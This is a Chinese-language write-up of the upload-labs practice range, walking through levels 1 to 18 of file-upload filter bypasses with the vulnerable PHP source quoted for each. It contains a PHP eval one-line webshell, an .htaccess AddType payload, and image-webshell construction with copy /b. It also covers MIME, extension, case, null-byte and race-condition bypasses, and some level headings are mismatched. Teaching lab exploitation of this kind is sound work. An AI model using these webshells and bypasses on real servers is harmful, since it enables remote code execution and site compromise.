文件上传漏洞——upload-labs 1-19
文章目录
- 文件上传漏洞——upload-labs 1-19
- 前言:文件上传漏洞原理解析
- 一、lab 1
- Lab 2
- lab 3、黑名单绕过
- lab 4 .htaccess文件绕过
- lab 5、大小写绕过
- lab 6 文件后缀(空)绕过
- lab 7 文件后缀(点)绕过
- lab 8 ::$DATA(Windows文件流绕过)
- lab 9 构造文件后缀绕过
- lab 10、双写文件后缀绕过
- lab 11、%00截断绕过(GET)
- lab 12、%00截断绕过(二)(POST)
- lab 13、图片马绕过
- lab 14、getimagesize图片类型绕过
- upload-labs-15 exif_imagetype()-图片马
- labs-16 二次渲染绕过——直接使用图片马上传即可
- lab 17、
- labs-18 条件竞争
前言:文件上传漏洞原理解析
0.1 文件上传功能
大部分站点都具有文件上传功能,例如头像更改,文章编辑,附件上传等等。
0.2 什么是文件上传漏洞
文件上传漏洞是指文件上传功能没有对上传的文件做合理严谨的过滤,导致用户可以利用此功能,上传能被服务端解析执行的文件,并通过此文件获得执行服务端命令的能力。
一、lab 1
代码审计
检查源码发现对上传文件通过js检测进行了文件上传的限制,其中尝试删除文件检测代码发现删不掉:
绕过文件检测
可以禁用js但是文件上传需要依靠js,禁用js文件上传功能也用不了了(不过文件检测也确实用不了了哈哈)
因此考虑最中规中矩的方法:抓包
先上传个jpg文件保证不被过滤掉
发包
抓包后将后缀jpg改为php,然后发包:
成功!
获取flag
登录菜刀拿到flag
正确写shell的办法
<?php phpinfo(); @eval($_POST['8']); ?>
Lab 2
这道题有两种方法
方法一、改content-type
分析源码
查看源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) //重点!!!
{
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
$is_upload = true;
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = $UPLOAD_ADDR.'文件夹不存在,请手工创建!';
}
}
发现
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
$is_upload = true;
}
} else {
$msg = '文件类型不正确,请重新上传!';
这时候我们就会产生疑问:浏览器是如何获得我们上传文件的类型呢?
这里就涉及到MIME类型(多用途互联网邮件扩展类型)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
$is_upload = true;
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = $UPLOAD_ADDR.'文件夹不存在,请手工创建!';
}
}
这可以上传MIME为:image/jpeg;image/png;image/gif的文件。
MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。
它是一个互联网标准,扩展了电子邮件标准,使其能够支持:
非ASCII字符文本;非文本格式附件(二进制、声音、图像等);由多部分(multiple parts)组成的消息体;包含非ASCII字符的头信息(Header information)。
常见类型:
文件 | multipart/from-data |
---|---|
超文本标记语言文本 | text/html |
xml文档 .xml | text/xml |
XHTML文档 .xhtml | application/xhtml+xml |
jpg图片格式 | image/jpeg |
RTF文本 .rtf | application/rtf |
PDF文档 .pdf | application/pdf |
Microsoft Word文件.word | application/msword |
MIME用法:
- 客户端用法:
告诉服务端,我上传的文件类型
告诉服务端,我可以接受的文件类型 - 服务端使用:告诉客户端,我响应的数据类型
改content-type
所以在做这道题的时候要想变法将其content-type 改掉
所以我们使用 burp suite 进行抓包改包,将content-type改为jpg对应的形式:image/jpeg
法二 删除返回包检验格式代码段(与lab1有异曲同工的妙处)
上传文件、抓包
直接上传一句话木马文件,之后抓包
lab 3、黑名单绕过
我们发现题中说不允许上传 .asp,.aspx,.php,.jsp 后缀文件
那么我们就想能否在更改后缀名的同时不改变文件性质
然而,在文件中存在等价扩展名
语言 | 等效后缀 |
---|---|
asp | asa, cer, cdx |
aspx | ashx, asmx, ascx |
php | php2 php3 php4 phps phtml |
jsp | jspx jspf |
将php改写文件后缀为phtml
成功上传且上传了shell
lab 4 .htaccess文件绕过
查看源码
我们先进行按照第三题的做法进行尝试,发现使用 .php3 不能将我们的木马上传进去,之后进行源码查看,发现他的源代码很全面
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
$is_upload = true;
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}
因此同lab 3 的方法就不能用了
方法1 利用apache漏洞
通过插件(wappalyzer)得知它的web容器用的是apache,版本是2.4.23
我们知道apache1.x
和apache2.x
的版本存在着解析漏洞,我们上传一个,这样的文件bug.php.xxx
上传成功后访问即可
法二、利用.htaccess文件
我们上传的.htaccess
文件中的内容是AddType application/x-httpd-php png
,这样我们上传的.png
文件就可以被解析了。
上传成功
再上传.jpg就可以当做php文件执行了
lab 5、大小写绕过
不常见,通常是windows上搭建的服务器才有可能有此类漏洞
改文件后缀为合理的大小写组合
看网页代码发现有文件过滤语句
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}
禁止的文件类型有:“.php”,“.php5”,“.php4”,“.php3”,“.php2”,“.html”,“.htm”,“.phtml”,“.pHp”,“.pHp5”,“.pHp4”,“.pHp3”,“.pHp2”,“.Html”,“.Htm”,“.pHtml”,“.jsp”,“.jspa”,“.jspx”,“.jsw”,“.jsv”,“.jspf”,“.jtml”,“.jSp”,“.jSpx”,“.jSpa”,“.jSw”,“.jSv”,“.jSpf”,“.jHtml”,“.asp”,“.aspx”,“.asa”,“.asax”,“.ascx”,“.ashx”,“.asmx”,“.cer”,“.aSp”,“.aSpx”,“.aSa”,“.aSax”,“.aScx”,“.aShx”,“.aSmx”,“.cEr”,“.sWf”,“.swf”,“.htaccess”
考虑大小写绕过:将文件后缀改为.PHp
后尝试上传
因为weindows对大小写不敏感所以成功上传
lab 6 文件后缀(空)绕过
源码分析
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}
这一关它忘记用trim()
函数进行空格的过滤了,那我们就可以利用这个来绕过
检测方法
黑名单+文件后.
的过滤
绕过方式
上传木马文件php,然后用BP抓包改文件名为.php(空格)即可绕过
lab 7 文件后缀(点)绕过
源码分析
经过常规测试后,我们发现本道题的绕过方式是:点绕过
同样,我们无法直接将 shell脚本的后缀直接改为 .php.
我们在BP中更改。
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}
其中
$file_ext = strrchr($file_name, '.');
strrchr() 函数查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符。
语法
strrchr(string,char)
参数 | 描述 |
---|---|
string | 必需。规定要搜索的字符串。 |
char | 必需。规定要查找的字符。如果该参数是数字,则搜索匹配此数字的 ASCII 值的字符。 |
绕过方法
所以如果我们采用 .php.
那么我们返回的就是.
所以我们能够成功绕过黑名单
lab 8 ::$DATA(Windows文件流绕过)
源码分析
常规测试中,我们发现本题可以通过添加字符串绕过
换句话说本题没有对后缀名进行去::DATA
处理
php在window的时候如果文件名+"::DATA"会把:D A T A 之 后 的 数 据 当 成 文 件 流 处 理 , **不 会 检 测 后 缀 名 **. 且保持 ::DATA之前的文件名 他的目的就是不检查后缀名。ps:只能是Windows系统,并且只能是php文件(不确定,好像txt也行了)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}
抓包
上传php文件的同时我们在burp suite中进行抓包改名之后添加**::$DATA**
访问phpinfo
虽说成功传上文件了,但打开后发现没有页面,是因为::$DATA
的缘故(因为此类文件一般不显示存在)
删掉::$data再传参就成功咯
lab 9 构造文件后缀绕过
查看源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}
检验方式
黑名单 + 过滤特殊字符(包括空格) + 过滤点 + 预防大小写 + 过滤::$DATA + 再过滤空格
绕过方式
上传.php
,bp抓包将文件名改为.php.(空格).
,即可绕过。这是为什么呢,我们顺着代码走一遍:首先是过滤特殊字符,文件.php.(空格).
什么都不会被过滤。然后过滤.,文件名会变为.php.(空格)
,之后还会被过滤掉一个空格,所有的预防措施走完之后文件名会变为:.php.
这是可上传成功的。这个绕过方式对前面的有些关卡可以适用的。
具体步骤
上传php后抓包改后缀
lab 10、双写文件后缀绕过
查看源码
我们直接上源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $file_name)) {
$img_path = $UPLOAD_ADDR . '/' .$file_name;
$is_upload = true;
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}
关键字替换,将php替换了
发现有这么一个函数: str_ireplace 它的作用是寻找文件名中存在的黑名单字符,如果有,就将它替换成空字符
我们如果上传 shell.php 那么上传后就会变成 shell.
所以,我们的办法是文件后缀名在php中间在夹上一个php,变成chenxingmualihao.pphphp
上传,即可成功
lab 11、%00截断绕过(GET)
源码分析
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
}
else{
$msg = '上传失败!';
}
}
else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
查看源代码,意识到他是一个白名单,我们前面学习的方法是用不了的,
在本关的核心突破口是:
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
相比于前几关
$_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $file_name
我们发现本关的 save_path 是我们可控的,换句话说在本关上传地址是可以被我们所掌控的,
我们可以尝试在本关 使用 %00截断 将后面的语句给截断
检测方法
白名单 + 文件重命名
绕过方法
通过==%00截断==完成
- 在这里我们可以将 %00 看作sql中的 注释符 将后面的php函数注释掉
- %00本意为:0x00会截断,0x表示16进制,URL中%00解码成16进制就是0x00。
抓包上传
上传php文件
抓包改文件后缀为.php%00
即可成功上传
lab 12、%00截断绕过(二)(POST)
源码审计
POST和GET传参的不同是,GET会自动解码,但POST不会对里面的数据自动解码,需要在Hex中修改。
抓包,将文件后缀php后面的a改为0x00
lab 13、图片马绕过
源码分析
相关函数
unpack()
: 从二进制字符串对数据进行解包,加了@是为了让报错不回显的。
图片马
什么是图片马
图片马:就是在图片中隐藏一句话木马。利用.htaccess等解析图片为PHP或者asp文件。达到执行图片内代码目的
如何制作图片马
copy 二次元.jpg/b + shell.php/a photo_shell.php
- b是指以二进制的方式合并复制文件,用于图像影音类文件
- a是指以ascii方式合并复制文件,用于文本类文件
上传成功即可
绕过非法
上传图片马就行
lab 14、getimagesize图片类型绕过
查看源码
相关函数
getimagesize() — 用于获取图像大小及相关信息,成功返回一个数组(返回图片宽度、图片高度、图片的类型、图片的尺寸),失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。
image_type_to_extension() — 根据指定的图像类型返回对应的后缀名。
stripos() — 查找字符串在另一字符串中第一次出现的位置(不区分大小写)。
制作看似正常的图片马
在cmd输入:
copy 1.png/b+1.txt 88.jpg
成功生成
同样也可以写个png文件
upload-labs-15 exif_imagetype()-图片马
我先了解一下exif_imagetype()作用:
exif_imagetype — 判断一个图像的类型
1 分析
这里用到php_exif模块来判断文件类型,用图片马绕过,方法同pass-13
如何开启PHP exif扩展方法,主要在于对php.ini文件的修改
2 服务器配置说明:
1.在php.ini文件中找到;extension=php_exif.dll,去掉前面的分号
2.在php.ini文件中找到;extension=php_mbstring.dll,去掉前面的分号,并将此行移动到extension=php_exif.dll之前,使之首先加载*。
3.找到[exif]段,把下面语句的分号去掉。
;exif.encode_unicode = ISO-8859-15
;exif.decode_unicode_motorola = UCS-2BE
;exif.decode_unicode_intel = UCS-2LE
;exif.encode_jis =
;exif.decode_jis_motorola = JIS
;exif.decode_jis_intel = JIS重启php
labs-16 二次渲染绕过——直接使用图片马上传即可
二次渲染
二次渲染:就是根据用户上传的图片,新生成一个图片,将原始图片删除,将新图片添加到数据库中。比如一些网站根据用户上传的头像生成大中小不同尺寸的图像。
查看源码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];
$target_path=$UPLOAD_ADDR.basename($filename);
// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);
//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path))
{
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);
if($im == false){
$msg = "该文件不是jpg格式的图片!";
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
$newimagepath = $UPLOAD_ADDR.$newfilename;
imagejpeg($im,$newimagepath);
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = $UPLOAD_ADDR.$newfilename;
unlink($target_path);
$is_upload = true;
}
}
else
{
$msg = "上传失败!";
}
}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path))
{
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);
if($im == false){
$msg = "该文件不是png格式的图片!";
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
$newimagepath = $UPLOAD_ADDR.$newfilename;
imagepng($im,$newimagepath);
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = $UPLOAD_ADDR.$newfilename;
unlink($target_path);
$is_upload = true;
}
}
else
{
$msg = "上传失败!";
}
}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path))
{
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
$newimagepath = $UPLOAD_ADDR.$newfilename;
imagegif($im,$newimagepath);
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = $UPLOAD_ADDR.$newfilename;
unlink($target_path);
$is_upload = true;
}
}
else
{
$msg = "上传失败!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}
相关函数
- basename() — 返回路径中的文件名部分
- strrchr() — 查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符
- imagecreatefromjpeg() — 由文件或 URL 创建一个新图片
- srand() — 播下随机数发生器种子
- strval() — 获取变量的字符串值
- imagejpeg() — 输出图象到浏览器或文件
- unlink() — 删除文件
- 这一部分的代码有个bug,就是只要我们上传的是图片木马就行,二次渲染并不会起作用,因为只要符合这两个条件if((KaTeX parse error: Expected 'EOF', got '&' at position 19: …eext == "png") &̲& (filetype==“image/png”)文件就会被上传。为了达到练习的效果我们还是当他二次渲染是起作用的。
检测方式
白名单 + 文件类型检测 + 上传成功之后对文件内容进行二次渲染
绕过方式
分析经过渲染的图片和原来的图片有什么不同,找到没有被渲染的部分将代码插入到其中即可
lab 17、
源码分析
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = $UPLOAD_ADDR . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = $UPLOAD_ADDR . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传失败!';
}
}
上传的文件会被重命名,apache的解析漏洞无法利用。但是这里的bug是文件会先上传到服务器上,然后才会判断它的后缀名是否合法,不合法的话在从服务器上删除文件。
检测方式
白名单 + 文件重命名
绕过方式
竞争上传
上传木马文件用bp抓包
进入http://192.168.15.146/upload/trojan1.php目录下不断地刷新之后我们会发现上传成功了
labs-18 条件竞争
源码分析
//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
require_once("./myupload.php");
$imgFileName =time();
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
$status_code = $u->upload($UPLOAD_ADDR);
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = '文件已经被上传,但没有重命名。';
break;
case -1:
$msg = '这个文件不能上传到服务器的临时文件存储目录。';
break;
case -2:
$msg = '上传失败,上传目录不可写。';
break;
case -3:
$msg = '上传失败,无法上传该类型文件。';
break;
case -4:
$msg = '上传失败,上传的文件过大。';
break;
case -5:
$msg = '上传失败,服务器已经存在相同名称文件。';
break;
case -6:
$msg = '文件无法上传,文件不能复制到目标目录。';
break;
default:
$msg = '未知错误!';
break;
}
}
//myupload.php
class MyUpload{
......
......
......
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );
......
......
......
/** upload()
**
** Method to upload the file.
** This is the only method to call outside the class.
** @para String name of directory we upload to
** @returns void
**/
function upload( $dir ){
$ret = $this->isUploadedFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->setDir( $dir );
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkExtension();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkSize();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// if flag to check if the file exists is set to 1
if( $this->cls_file_exists == 1 ){
$ret = $this->checkFileExists();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, we are ready to move the file to destination
$ret = $this->move();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// check if we need to rename the file
if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, everything worked as planned :)
return $this->resultUpload( "SUCCESS" );
}
......
......
......
};
这题对文件后缀名做了白名单判断,然后会一步一步检查文件大小、文件是否存在等等,因此可以通过不断上传图片马,由于条件竞争可能来不及重命名,从而上传成功。
$img_path变量用户是可以通过POST提交的$_POST[‘save_name’]参数来控制的
检测方式
黑名单
绕过方式
大小写即可绕过
具体步骤
我们上传木马文件,将其将要保存的文件名改为upload-19.PHP,即可绕过黑名单检测
上传成功
解析成功